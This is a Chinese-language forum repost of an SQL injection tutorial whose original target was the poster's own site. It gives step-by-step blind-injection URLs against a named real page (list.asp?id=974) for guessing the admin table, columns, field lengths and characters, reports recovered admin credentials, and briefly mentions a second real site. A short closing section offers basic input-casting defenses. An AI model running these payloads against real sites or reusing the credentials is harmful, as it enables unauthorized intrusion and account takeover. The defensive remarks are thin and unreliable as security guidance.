给大家发一个SQL注入实战教程吧

    技术2022-05-11  57

    这篇文章是去年10月份发的,我今年3月份才发现,这么长时间以来我的网站www.shbbs.net一直被当作教程攻

    击,呵呵,晕死。直到有一个好心网友提醒我我才做了一些处理。大家不要再按教程上直接使用攻击我的网站www.shbbs.net了,呵呵我已经打了预防针了:)找别人的去演习吧

    :)以下是文章部分,还有动画教程,呵呵,晕死:)

    实战 SQL Injection

    目标:www.shbbs.net 的文章发布系统~~

    目的:为了演示SQL Injection 给新手看,请大家不要破坏~~

    打开 http://www.shbbs.net/Article/list.asp?id=974

    http://www.shbbs.net/Article/list.asp?id=974 后加个 '

    http://www.shbbs.net/Article/list.asp?id=974'出错!ID没有过滤.

    好。现在步骤就是 1、猜管理员账号的表 2、猜相应表中的用户的字段名以及密码的字段名.3、猜出用户名的长度和密码的长度. 3、猜出用户名和密码 4、找到管理界面进去登陆管理.

    猜管理员表: http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin) '//min(id) 返回表

    中ID最小的值. 返回文章,证明有一个admin的表.如果没有返回文章,证明出错!不存在admin这个表.

    猜用户的字段名 http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where user='qqq')返回错误信息,表示没有user这个用户字段名

    再来~~http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

    username='qqq') 没有返回错误信息.又也没有返回文章,提示找不到相应文章 证明:在admin中存在username这个字段. 只是用户名不是qqq

    猜密码的字段名 http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where passwd='qqq')返回错误信息,表示没有passwd这个密码字段名

    再来~~http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

    password='qqq') 没有返回错误信息.也没有返回文章.提示找不到相应文章. 证明:在admin中存在password这个字段. 只是密码不是qqq现在就来猜用户字段名长度 http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

    len(username)>8) 正确~~http://www.xuanke.com/wz/list.asp?id=47 and 1=(select min(id) from admin where len(username)<15)正确~~用户名长度 大于8 小于15

    http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

    len(username)=10) 呵呵~~用户名长度为10位``~~

    猜密码长度 http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

    len(password)>8) 正确~~http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

    len(password)<15) 正确~~~密码长度也是  大于8 小于15http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

    len(password)=10) 呵呵~~密码长度为10.

    用户名长度为:10 密码长度为:10

    现在来猜用户名. http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

    mid(username,1,1)='a')错了~~

    我再猜~~http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

    mid(username,1,1)='s') 呵呵~~正确~~用户名第一位是 s

    猜用户名的第二位~~http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

    mid(username,2,1)='h')用户名第二位是 h

    由于时间关系,我早就猜好了,用户名:shbbsadmin

    我们现在来猜密码~~ 猜密码跟猜用户名一样~~http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where

    mid(password,1,1)='s')

    猜啊猜~

    由于时间关系,密码我都猜好了,呵呵~~密码:shbbsadmin 哈哈~~跟用户名一样~~~~

    用户:shbbsadmin密码:shbbsadmin              

    ============================================================呵呵,我以前用动网文章系统,被sql注入攻击者都写成教程给别人下载了

    有些SB就拿我开刀,所幸我的论坛和文章发布系统用户名密码各不相同,否则损失可惨了

    于是培养了稍于注意安全的写代码习惯。

    如ID等数值型参数都是加cint()进行类型转换的,注入绝对是不成功的,如果是字符型参数都不用害怕',会当

    做一个字符部分,毫无作用。

    另外就是对传入参数做长度限定,比如if len(request("id"))>5 then response.end简单的一句话让注入攻击者一筹莫展 


    最新回复(0)